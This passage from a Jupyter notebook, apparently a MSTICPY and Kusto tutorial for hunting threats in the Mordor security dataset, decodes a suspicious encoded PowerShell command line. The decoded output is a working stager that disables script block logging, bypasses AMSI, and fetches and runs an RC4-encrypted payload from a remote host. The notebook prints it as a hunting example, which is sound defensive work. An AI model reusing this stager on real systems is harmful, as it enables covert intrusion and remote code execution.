HMAaABTAEUAdABbAFMAdAByAEkATgBHAF0AKQApAH0AJABSAEUAZgA9AFsAUgBFAGYAXQAuAEEAUwBzAGUAbQBCAGwAeQAuAEcAZQB0AFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBGAC4ARwBlAHQARgBJAGUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAEEAbAB1AGUAKAAkAG4AdQBMAGwALAAkAHQAcgBVAGUAKQA7AH0AOwBbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBTAEUAUgB2AGkAYwBFAFAAbwBJAG4AVABNAEEAbgBBAGcARQBSAF0AOgA6AEUAWABQAEUAQwBUADEAMAAwAEMAbwBOAFQASQBuAHUARQA9ADAAOwAkAGEAOQA0ADgANgA9AE4AZQB3AC0ATwBiAEoARQBDAFQAIABTAHkAcwBUAEUAbQAuAE4ARQB0AC4AVwBlAGIAQwBsAEkARQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQB4AFQALgBFAG4AQwBPAGQAaQBuAGcAXQA6ADoAVQBOAEkAQwBvAGQARQAuAEcARQBUAFMAdAByAGkATgBHACgAWwBDAG8ATgBWAGUAUgB0AF0AOgA6AEYAUgBvAE0AQgBBAFMAZQA2ADQAUwB0AFIAaQBOAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAEwAZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABBAEEATABnAEEAMQBBAEQAbwBBAE8AQQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABBADkANAA4ADYALgBIAGUAYQBkAEUAcgBzAC4AQQBEAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABhADkANAA4ADYALgBQAFIATwBYAFkAPQBbAFMAeQBTAHQARQBtAC4ATgBlAFQALgBXAGUAYgBSAGUAUQB1AGUAcwB0AF0AOgA6AEQAZQBGAGEAVQBsAFQAVwBFAEIAUAByAE8AWABZADsAJABhADkANAA4ADYALgBQAFIATwBYAFkALgBDAFIAZQBkAEUATgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAUwBUAEUAbQAuAE4ARQB0AC4AQwByAGUARABFAE4AdABpAEEAbABDAGEAQwBIAGUAXQA6ADoARABFAGYAYQBVAEwAdABOAGUAdAB3AG8AUgBrAEMAUgBFAEQAZQBOAHQASQBBAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJABhADkANAA4ADYALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAFQARQBtAC4AVABlAFgAVAAuAEUAbgBDAG8ARABpAE4ARwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAFkAdABFAHMAKAAnADkAbABLAE0ATAAlAFQAQwAuAGoAbwA1AEgAQAA6AD8APgAwAG4AdQB2AFcAUwBlACoAYgBGAEkAfQBdAEUAQQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAEcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwBSACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAEEAOQA0ADgANgAuAEgARQBBAEQAZQBSAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIASABDAHAATwBBAGMAbQBHAGQASQBPAEsAZwA9AGsAaABlAFQAegBZAGsAYgAyAFoATABJAEoAaQB0AGMANwBaAFgAbAA0AHgAeABzAHkAaABjAD0AIgApADsAJABkAGEAdABBAD0AJABhADkANAA4ADYALgBEAE8AdwBOAGwAbwBhAGQARABhAHQAQQAoACQAcwBlAFIAKwAkAFQAKQA7ACQASQB2AD0AJABEAEEAVABhAFsAMAAuAC4AMwBdADsAJABEAGEAVABhAD0AJABEAEEAVABhAFsANAAuAC4AJABkAGEAdABBAC4AbABFAG4ARwB0AGgAXQA7AC0AagBPAGkAbgBbAEMASABhAFIAWwBdAF0AKAAmACAAJABSACAAJABEAEEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=\n"
     ]
    }
   ],
   "source": [
    "# Examine the command line of this process\n",
    "\n",
    "print(proc_record.iloc[0].CommandLine)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "c:\\users\\liamkirton\\documents\\work\\dev\\msticpy\\msticpy\\msticpy\\sectools\\base64unpack.py:388: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead.\n",
      "  df_results = df_results.append(\n",
      "c:\\users\\liamkirton\\documents\\work\\dev\\msticpy\\msticpy\\msticpy\\sectools\\base64unpack.py:388: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead.\n",
      "  df_results = df_results.append(\n",
      "c:\\users\\liamkirton\\documents\\work\\dev\\msticpy\\msticpy\\msticpy\\sectools\\base64unpack.py:429: FutureWarning: The frame.append method is deprecated and will be removed from pandas in a future version. Use pandas.concat instead.\n",
      "  df_results.append(child_records, ignore_index=True, sort=False),\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "'IF($PSVErsIoNTaBLe.PSVERSIOn.MAJoR -Ge 3){$57af0=[reF].AsSEMBlY.GEtTyPe(\\'System.Management.Automation.Utils\\').\"GETFIe`Ld\"(\\'cachedGroupPolicySettings\\',\\'N\\'+\\'onPublic,Static\\');If($57af0){$48ac6=$57Af0.GEtVaLue($nuLl);If($48Ac6[\\'ScriptB\\'+\\'lockLogging\\']){$48Ac6[\\'ScriptB\\'+\\'lockLogging\\'][\\'EnableScriptB\\'+\\'lockLogging\\']=0;$48Ac6[\\'ScriptB\\'+\\'lockLogging\\'][\\'EnableScriptBlockInvocationLogging\\']=0}$vaL=[ColLECTiONs.GeNEric.DicTiOnarY[stRiNG,SYSTeM.OBject]]::nEW();$VAL.ADD(\\'EnableScriptB\\'+\\'lockLogging\\',0);$vaL.Add(\\'EnableScriptBlockInvocationLogging\\',0);$48Ac6[\\'HKEY_LOCAL_MACHINE\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptB\\'+\\'lockLogging\\']=$VAl}ELse{[SCRIptBlOcK].\"GetFie`Ld\"(\\'signatures\\',\\'N\\'+\\'onPublic,Static\\').SetVALUE($NulL,(NEW-OBJECT CoLlectIOnS.GENERiC.HAshSEt[StrING]))}$REf=[REf].ASsemBly.GetTYPE(\\'System.Management.Automation.Amsi\\'+\\'Utils\\');$ReF.GetFIeLD(\\'amsiInitF\\'+\\'ailed\\',\\'NonPublic,Static\\').SeTVAlue($nuLl,$trUe);};[SYSTEM.NeT.SERvicEPoInTMAnAgER]::EXPECT100CoNTInuE=0;$a9486=New-ObJECT SysTEm.NEt.WebClIENt;$u=\\'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\\';$ser=$([TExT.EnCOding]::UNICodE.GETStriNG([CoNVeRt]::FRoMBASe64StRiNG(\\'aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1ADoAOAAwAA==\\')));$t=\\'/login/process.php\\';$A9486.HeadErs.ADd(\\'User-Agent\\',$u);$a9486.PROXY=[SyStEm.NeT.WebReQuest]::DeFaUlTWEBPrOXY;$a9486.PROXY.CRedENtials = [SySTEm.NEt.CreDENtiAlCaCHe]::DEfaULtNetwoRkCREDeNtIAls;$Script:Proxy = $a9486.Proxy;$K=[SysTEm.TeXT.EnCoDiNG]::ASCII.GETBYtEs(\\'9lKML%TC.jo5H@:?>0nuvWSe*bFI}]EA\\');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$A9486.HEADeRs.Add(\"Cookie\",\"HCpOAcmGdIOKg=kheTzYkb2ZLIJitc7ZXl4xxsyhc=\");$datA=$a9486.DOwNloadDatA($seR+$T);$Iv=$DATa[0..3];$DaTa=$DATa[4..$datA.lEnGth];-jOin[CHaR[]](& $R $DAta ($IV+$K))|IEX'"
      ]
     },
     "execution_count": 21,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Decode the encoded PowerShell command\n",
    "\n",
    "encoded_command = proc_record.iloc[0].CommandLine\n",
    "encoded_command = encoded_command.split('-enc ')[1]\n",
    "\n",
    "_, df_decoded = base64.unpack(encoded_command, utf16=True)\n",
    "df_decoded.iloc[0].decoded_string"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "_Looks dodgy to me... :)_"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Experiment!\n",
    "\n",
    "The examples above, together with [./Kusto-Ingest.ipynb](./Kusto-Ingest.ipynb),\n",
    "should provide a reasonable introduction to loading your own Security Data\n",
    "into a Kusto/ADE cluster and then using MSTICPY to explore and find interesting events.\n",
    "\n",
    "There are a number of other interesting events within the Mordor dataset - it's\n",
    "highly recommended to continue exploring this via Kusto and MSTICPY!"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Connecting... connected\n"
     ]
    }
   ],
   "source": [
    "kusto_prov = QueryProvider('Kusto')\n",
    "kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>ProcessGuid</th>\n",
       "      <th>Task</th>\n",
       "      <th>Version</th>\n",
       "      <th>Domain</th>\n",
       "      <th>Keywords</th>\n",
       "      <th>AccountName</th>\n",
       "      <th>SourceName</th>\n",
       "      <th>UserID</th>\n",
       "      <th>Hostname</th>\n",
       "      <th>EventTime</th>\n",
       "      <th>ExecutionProcessID</th>\n",
       "      <th>Image</th>\n",
       "      <th>SeverityValue</th>\n",
       "      <th>Severity</th>\n",
       "      <th>EventID</th>\n",
       "      <th>EventReceivedTime</th>\n",
       "      <th>RecordNumber</th>\n",
       "      <th>SourceModuleType</th>\n",
       "      <th>ThreadID</th>\n",
       "      <th>Message</th>\n",
       "      <th>UtcTime</th>\n",
       "      <th>ProviderGuid</th>\n",
       "      <th>SourceModuleName</th>\n",
       "      <th>EventType</th>\n",
       "      <th>...</th>\n",
       "      <th>FileVersion</th>\n",
       "      <th>Description</th>\n",
       "      <th>Hashes</th>\n",
       "      <th>OriginalFileName</th>\n",
       "      <th>Product</th>\n",
       "      <th>Company</th>\n",
       "      <th>LogonGuid</th>\n",
       "      <th>ParentCommandLine</th>\n",
       "      <th>TerminalSessionId</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ParentProcessGuid</th>\n",
       "      <th>ParentProcessId</th>\n",
       "      <th>ParentImage</th>\n",
       "      <th>IntegrityLevel</th>\n",
       "      <th>CurrentDirectory</th>\n",
       "      <th>LogonId</th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>Port</th>\n",
       "      <th>Tags</th>\n",
       "      <th>Host</th>\n",
       "      <th>ProcessID</th>\n",
       "      <th>ERROR_EVT_UNRESOLVED</th>\n",
       "      <th>Type</th>\n",
       "      <th>TimeCreated</th>\n",
       "      <th>Level</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td></td>\n",
       "      <td>{a158f72c-eb20-5e02-0000-0010427a7100}</td>\n",
       "      <td>1</td>\n",
       "      <td>1.0</td>\n",
       "      <td>NT AUTHORITY</td>\n",
       "      <td>-9223372036854775808</td>\n",
       "      <td>SYSTEM</td>\n",
       "      <td>Microsoft-Windows-Sysmon</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>ACCT001.shire.com</td>\n",
       "      <td>2019-12-24 23:52:48+00:00</td>\n",
       "      <td>NaN</td>\n",
       "      <td>C:\\Windows\\System32\\wermgr.exe</td>\n",
       "      <td>2.0</td>\n",
       "      <td>INFO</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-12-24 23:52:49+00:00</td>\n",
       "      <td>172776.0</td>\n",
       "      <td>im_msvistalog</td>\n",
       "      <td>3992.0</td>\n",
       "      <td>Process Create:\\r\\nRuleName: \\r\\nUtcTime: 2019-12-25 04:52:48.400\\r\\nProcessGuid: {a158f72c-eb20...</td>\n",
       "      <td>2019-12-25 04:52:48.400000+00:00</td>\n",
       "      <td>{5770385F-C22A-43E0-BF4C-06F5698FFBD9}</td>\n",
       "      <td>eventlog</td>\n",
       "      <td>INFO</td>\n",
       "      <td>...</td>\n",
       "      <td>10.0.18362.1 (WinBuild.160101.0800)</td>\n",
       "      <td>Windows Problem Reporting</td>\n",
       "      <td>SHA1=01C782E1D351F4955571FA4CF4DFCDB16DDA78D5,MD5=5FD1D66E944223729B6C7CADCC193915,SHA256=3A7AB2...</td>\n",
       "      <td>WerMgr</td>\n",
       "      <td>MicrosoftÂ® WindowsÂ® Operating System</td>\n",
       "      <td>Microsoft Corporation</td>\n",
       "      <td>{a158f72c-6e53-5e02-0000-0020e7030000}</td>\n",
       "      <td>C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule</td>\n",
       "      <td>0.0</td>\n",
       "      <td>C:\\Windows\\system32\\wermgr.exe -upload</td>\n",
       "      <td>{a158f72c-6e54-5e02-0000-0010770f0100}</td>\n",
       "      <td>1448.0</td>\n",
       "      <td>C:\\Windows\\System32\\svchost.exe</td>\n",
       "      <td>System</td>\n",
       "      <td>C:\\Windows\\system32\\</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>2019-12-25 04:52:49.358000+00:00</td>\n",
       "      <td>49719.0</td>\n",
       "      <td></td>\n",
       "      <td>ip-172-18-39-102.ec2.internal</td>\n",
       "      <td>3284.0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>nxlog-mordor</td>\n",
       "      <td>NaT</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>1 rows × 56 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "  ProcessId                             ProcessGuid  Task  Version  \\\n",
       "0            {a158f72c-eb20-5e02-0000-0010427a7100}     1      1.0   \n",
       "\n",
       "         Domain              Keywords AccountName                SourceName  \\\n",
       "0  NT AUTHORITY  -9223372036854775808      SYSTEM  Microsoft-Windows-Sysmon   \n",
       "\n",
       "     UserID           Hostname                 EventTime  ExecutionProcessID  \\\n",
       "0  S-1-5-18  ACCT001.shire.com 2019-12-24 23:52:48+00:00                 NaN   \n",
       "\n",
       "                            Image  SeverityValue Severity  EventID  \\\n",
       "0  C:\\Windows\\System32\\wermgr.exe            2.0     INFO        1   \n",
       "\n",
       "          EventReceivedTime  RecordNumber SourceModuleType  ThreadID  \\\n",
       "0 2019-12-24 23:52:49+00:00      172776.0    im_msvistalog    3992.0   \n",
       "\n",
       "                                                                                               Message  \\\n",
       "0  Process Create:\\r\\nRuleName: \\r\\nUtcTime: 2019-12-25 04:52:48.400\\r\\nProcessGuid: {a158f72c-eb20...   \n",
       "\n",
       "                           UtcTime                            ProviderGuid  \\\n",
       "0 2019-12-25 04:52:48.400000+00:00  {5770385F-C22A-43E0-BF4C-06F5698FFBD9}   \n",
       "\n",
       "  SourceModuleName EventType  ...                          FileVersion  \\\n",
       "0         eventlog      INFO  ...  10.0.18362.1 (WinBuild.160101.0800)   \n",
       "\n",
       "                 Description  \\\n",
       "0  Windows Problem Reporting   \n",
       "\n",
       "                                                                                                Hashes  \\\n",
       "0  SHA1=01C782E1D351F4955571FA4CF4DFCDB16DDA78D5,MD5=5FD1D66E944223729B6C7CADCC193915,SHA256=3A7AB2...   \n",
       "\n",
       "  OriginalFileName                                 Product  \\\n",
       "0           WerMgr  MicrosoftÂ® WindowsÂ® Operating System   \n",
       "\n",
       "                 Company                               LogonGuid  \\\n",
       "0  Microsoft Corporation  {a158f72c-6e53-5e02-0000-0020e7030000}   \n",
       "\n",
       "                                           ParentCommandLine  \\\n",
       "0  C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule   \n",
       "\n",
       "  TerminalSessionId                             CommandLine  \\\n",
       "0               0.0  C:\\Windows\\system32\\wermgr.exe -upload   \n",
       "\n",
       "                        ParentProcessGuid ParentProcessId  \\\n",
       "0  {a158f72c-6e54-5e02-0000-0010770f0100}          1448.0   \n",
       "\n",
       "                       ParentImage IntegrityLevel      CurrentDirectory  \\\n",
       "0  C:\\Windows\\System32\\svchost.exe         System  C:\\Windows\\system32\\   \n",
       "\n",
       "  LogonId                        Timestamp     Port Tags  \\\n",
       "0   0x3e7 2019-12-25 04:52:49.358000+00:00  49719.0        \n",
       "\n",
       "                            Host ProcessID ERROR_EVT_UNRESOLVED          Type  \\\n",
       "0  ip-172-18-39-102.ec2.internal    3284.0                  NaN  nxlog-mordor   \n",
       "\n",
       "   TimeCreated Level  \n",
       "0          NaT   NaN  \n",
       "\n",
       "[1 rows x 56 columns]"
      ]
     },
     "execution_count": 23,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "kusto_prov.exec_query('Event1 | take 1')\n",
    "\n",
    "# ...?"
   ]
  }
 ],
 "metadata": {
  "interpreter": {
   "hash": "970ffae9eb5607bf903c3b8348e40cded77164f57a6fb73fb45a1a063bddf4d8"
  },
  "kernelspec": {
   "display_name": "Python 3.10.1 ('.venv': venv)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.10"
  },
  "orig_nbformat": 4
 },
 "nbformat": 4,
 "nbformat_minor": 2
}